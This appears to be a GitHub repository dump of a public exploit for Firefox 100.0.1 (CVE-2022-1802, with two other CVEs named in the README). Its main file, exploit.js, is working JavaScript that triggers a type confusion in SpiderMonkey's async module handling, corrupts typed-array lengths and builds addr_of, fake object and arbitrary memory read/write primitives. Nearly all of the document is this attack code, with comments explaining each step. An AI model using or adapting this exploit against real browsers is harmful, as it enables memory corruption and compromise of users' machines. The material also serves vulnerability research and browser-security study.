Repository: mistymntncop/CVE-2022-1802 Branch: main Commit: d26c481c9435 Files: 6 Total size: 23.2 KB Directory structure: gitextract_2_p5tv7u/ ├── 1.mjs ├── 2.mjs ├── README.md ├── crash.html ├── exploit.html └── exploit.js ================================================ FILE CONTENTS ================================================ ================================================ FILE: 1.mjs ================================================ import "./2.mjs"; function one() { return 42; } await one(); ================================================ FILE: 2.mjs ================================================ function two() { return 42; } await two(); ================================================ FILE: README.md ================================================ # CVE-2022-1802 + CVE-2022-1529 + CVE-2022-2200 Tested against Firefox 100.0.1 (Windows) https://ftp.mozilla.org/pub/firefox/releases/100.0.1/win64/en-US/Firefox%20Setup%20100.0.1.exe ================================================ FILE: crash.html ================================================ exploit
================================================ FILE: exploit.html ================================================ exploit
================================================ FILE: exploit.js ================================================ //CVE-2022-1802 var call_count = 0; var do_capture = false; var fake_mod = null; var oob_arr = null; var tmp_u32_arr1 = null; var tmp_u32_arr2 = null; var ab1 = null; let ab1_view = null; var ab2 = null; function hex(val) { val = Number(val); let result = "0x" + val.toString(16); return result; } Object.defineProperty(BigInt.prototype, "lo", { get: function() { let lo = this & 0xFFFFFFFFn; return Number(lo); } }); Object.defineProperty(BigInt.prototype, "hi", { get: function() { let hi = (this >> 32n) & 0xFFFFFFFFn; return Number(hi); } }); function garbage_collect() { for(let i = 0; i < 3; i++) { new ArrayBuffer(128 * 1024 * 1024); } } //The best way to understand this is to set a breakpoint on this line //https://github.com/mozilla/gecko-dev/blob/cf003c21f0b6490f8805d8ed8d7d365e5614a9ae/js/src/builtin/ModuleObject.cpp#L2288 //and start single stepping. function allocate_objects() { //ArrayBuffer's are allocated on the Tenured heap ab1 = new ArrayBuffer(8); ab2 = new ArrayBuffer(8); ab2.a = 0x1337; //These objects are allocated on the Nursery heap let fake_script = {}; //From DOARE: // new Array vs [] ensures that the array is allocated // from the nursery as it does in firefox. But not in js.exe. // oob_arr = new Array(); //These properties are allocated inline from the fake_mod JS object //Interestingly if you execute this same line in the global scope //the object gets allocated directly on the Tenured heap. fake_mod = { //https://github.com/mozilla/gecko-dev/blob/cf003c21f0b6490f8805d8ed8d7d365e5614a9ae/js/src/builtin/ModuleObject.cpp#L1231 ScriptSlot: fake_script, //self->script() EnvironmentSlot: 0x11111111, NamespaceSlot: 0x22222222, //https://github.com/mozilla/gecko-dev/blob/cf003c21f0b6490f8805d8ed8d7d365e5614a9ae/js/src/builtin/ModuleObject.cpp#L879 StatusSlot: 0, // if (status() < MODULE_STATUS_LINKED) }; //Writing 7 elements causes the elements_ array of oob_arr to be reallocated //directly after fake_mod for(let i = 0; i < 7; i++) { oob_arr[i] = 0x11111111; } tmp_u32_arr1 = new Uint32Array(4); tmp_u32_arr1.fill(0x66); tmp_u32_arr2 = new Uint32Array(0x10); tmp_u32_arr2.ab1 = ab1; tmp_u32_arr2.fill(0x77); //https://github.com/mozilla/gecko-dev/blob/cf003c21f0b6490f8805d8ed8d7d365e5614a9ae/js/src/builtin/ModuleObject.cpp#L2295 fake_mod.AsyncSlot = false; // m->isAsync() //https://github.com/mozilla/gecko-dev/blob/cf003c21f0b6490f8805d8ed8d7d365e5614a9ae/js/src/builtin/ModuleObject.cpp#L2290 fake_mod.AsyncEvaluatingPostOrderSlot = true; // m->isAsyncEvaluating() //https://github.com/mozilla/gecko-dev/blob/cf003c21f0b6490f8805d8ed8d7d365e5614a9ae/js/src/builtin/ModuleObject.cpp#L2359 fake_mod.TopLevelCapabilitySlot = undefined; // if (module->hasTopLevelCapability()) //https://github.com/mozilla/gecko-dev/blob/cf003c21f0b6490f8805d8ed8d7d365e5614a9ae/js/src/builtin/ModuleObject.cpp#L2355 fake_mod.AsyncParentModulesSlot = undefined; // placeholder //console.log("0x" + objectAddress(ab1)); //console.log("0x" + objectAddress(ab2)); //console.log("0x" + objectAddress(fake_script)); //console.log("0x" + objectAddress(oob_arr)); //console.log("0x" + objectAddress(fake_mod)); //console.log("0x" + objectAddress(tmp_u32_arr1)); //console.log("0x" + objectAddress(tmp_u32_arr2)); //console.log("0x" + objectAddress(allocate_objects)); } function setter(original) { try { console.log("Array.prototype[0] setter called"); Reflect.deleteProperty(Array.prototype, "0"); this[0] = original; //The self-hosted Module.js is not explicitly visible to us //and .caller will be reported as null if(do_capture && arguments.callee.caller == null) { if(call_count == 0) { let module = original; console.log("replacing module with fake_mod"); //This is really important as it allows the "import(...)" promise to be //rejected properly. This tells us when the initial corruption has completed. // AsyncModuleExecutionRejected(cx, parent, error) fake_mod.AsyncParentModulesSlot = [ module ]; this[0] = fake_mod; } call_count++; } //install_setter(); } catch(e) { console.log(e); } } function install_setter() { Object.defineProperty(Array.prototype, "0", { set: setter, configurable: true, }); } function make_addr(lo, hi) { hi = BigInt(hi); lo = BigInt(lo); let result = ((hi << 32n) | lo); return result; } function tag_obj(addr) { let result = (0x1FFFCn << 47n) | addr; return result; } function untag_addr(addr) { let result = addr & (1n << 47n)-1n; return result; } function install_primitives() { garbage_collect(); allocate_objects(); install_setter(); return new Promise((resolve, reject) => { do_capture = true; //trigger type confusion import("./1.mjs").then(() => { return reject(new Error("This firefox version is not vulnerable!")); }).catch(() => { console.log("corruption underway"); //overwrite length of tmp_u32_arr1 with a large value oob_arr[19] = 0xBEEF; if(tmp_u32_arr1.length == 4) { return reject(new Error("couldn't corrupt tmp_u32_arr1 :(")); } //https://doar-e.github.io/blog/2018/11/19/introduction-to-spidermonkey-exploitation/#kaizenjs //Uses @0vercl0k's technique of using 2 ArrayBuffers for stable primitives //read the pointer to ab1 let ab1_addr = make_addr(tmp_u32_arr1[42], tmp_u32_arr1[43]); ab1_addr = untag_addr(ab1_addr); //overwrite tmp_u32_arr2's backing store to the address of ab1 let tmp_u32_arr2_backing_store = make_addr(tmp_u32_arr1[22], tmp_u32_arr1[23]); tmp_u32_arr1[22] = ab1_addr.lo; tmp_u32_arr1[23] = ab1_addr.hi; //overwrite ab1's size tmp_u32_arr2[8] = 0x60; //0x58 ab1_view = new Uint32Array(ab1); let original_ab2_store = make_addr(ab1_view[14], ab1_view[15]); //cleanup corrupted structures so GC doesn't crash tmp_u32_arr1[22] = tmp_u32_arr2_backing_store.lo; tmp_u32_arr1[23] = tmp_u32_arr2_backing_store.hi; let oob_arr_addr = addr_of(oob_arr); let oob_arr_elements = read_u64(oob_arr_addr + 0x10n); let oob_arr_elements_hdr_addr = oob_arr_elements - 0x10n; write_u32(oob_arr_elements_hdr_addr, 0); write_u32(oob_arr_elements_hdr_addr + 4n, 7); let tmp_u32_arr1_addr = addr_of(tmp_u32_arr1); let tmp_u32_arr1_len_addr = tmp_u32_arr1_addr + 0x20n; write_u32(tmp_u32_arr1_len_addr, 4); write_u32(tmp_u32_arr1_len_addr + 4n, 0); return resolve(); }).finally(() => { do_capture = false; }); }); } function fake_obj(addr) { let tagged_addr = tag_obj(addr); let ab2_slots_ = make_addr(ab1_view[10], ab1_view[11]); write_u64(ab2_slots_, tagged_addr); let result = ab2.a; ab2.a = null; return result; } function addr_of(obj) { ab2.a = obj; let ab2_slots_ = make_addr(ab1_view[10], ab1_view[11]); let addr = read_u64(ab2_slots_); let result = untag_addr(addr); ab2.a = null; return result; } function read_u16(addr) { if(addr instanceof Number) { addr = BigInt(addr); } ab1_view[14] = addr.lo; ab1_view[15] = addr.hi; let view = new Uint16Array(ab2); let result = view[0]; return result; } function read_u32(addr) { if(addr instanceof Number) { addr = BigInt(addr); } ab1_view[14] = addr.lo; ab1_view[15] = addr.hi; let view = new Uint32Array(ab2); let result = view[0]; return result; } function read_u64(addr) { if(addr instanceof Number) { addr = BigInt(addr); } ab1_view[14] = addr.lo; ab1_view[15] = addr.hi; let view = new Uint32Array(ab2); let lo = BigInt(view[0]); let hi = BigInt(view[1]); let result = (hi << 32n) | lo; return result; } function write_u8(addr, val) { if(addr instanceof Number) { addr = BigInt(addr); } ab1_view[14] = addr.lo; ab1_view[15] = addr.hi; let view = new Uint8Array(ab2); view[0] = val; } function write_u32(addr, val) { if(addr instanceof Number) { addr = BigInt(addr); } ab1_view[14] = addr.lo; ab1_view[15] = addr.hi; let view = new Uint32Array(ab2); view[0] = val; } function write_u64(addr, value) { if(addr instanceof Number) { addr = BigInt(addr); } if(value instanceof Number) { value = BigInt(value); } ab1_view[14] = addr.lo; ab1_view[15] = addr.hi; let view = new Uint32Array(ab2); view[0] = value.lo; view[1] = value.hi; } function pwn_test() { install_primitives().then(() => { console.log("primitives installed!"); }).catch((err) => { console.log("exploit failed :(", err); }); } if(this["window"] == undefined) { pwn_test(); }